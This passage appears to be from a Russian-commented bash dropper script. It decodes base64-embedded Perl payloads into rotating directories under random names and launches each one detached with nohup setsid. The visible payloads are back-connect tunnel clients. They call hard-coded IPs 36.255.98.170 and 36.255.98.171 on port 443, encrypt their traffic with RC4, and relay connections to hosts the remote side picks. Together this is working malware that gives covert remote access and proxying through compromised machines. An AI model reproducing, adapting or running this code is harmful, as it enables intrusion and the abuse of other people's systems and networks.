CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #12 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #12 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 13 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #13 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #13 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 14 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp 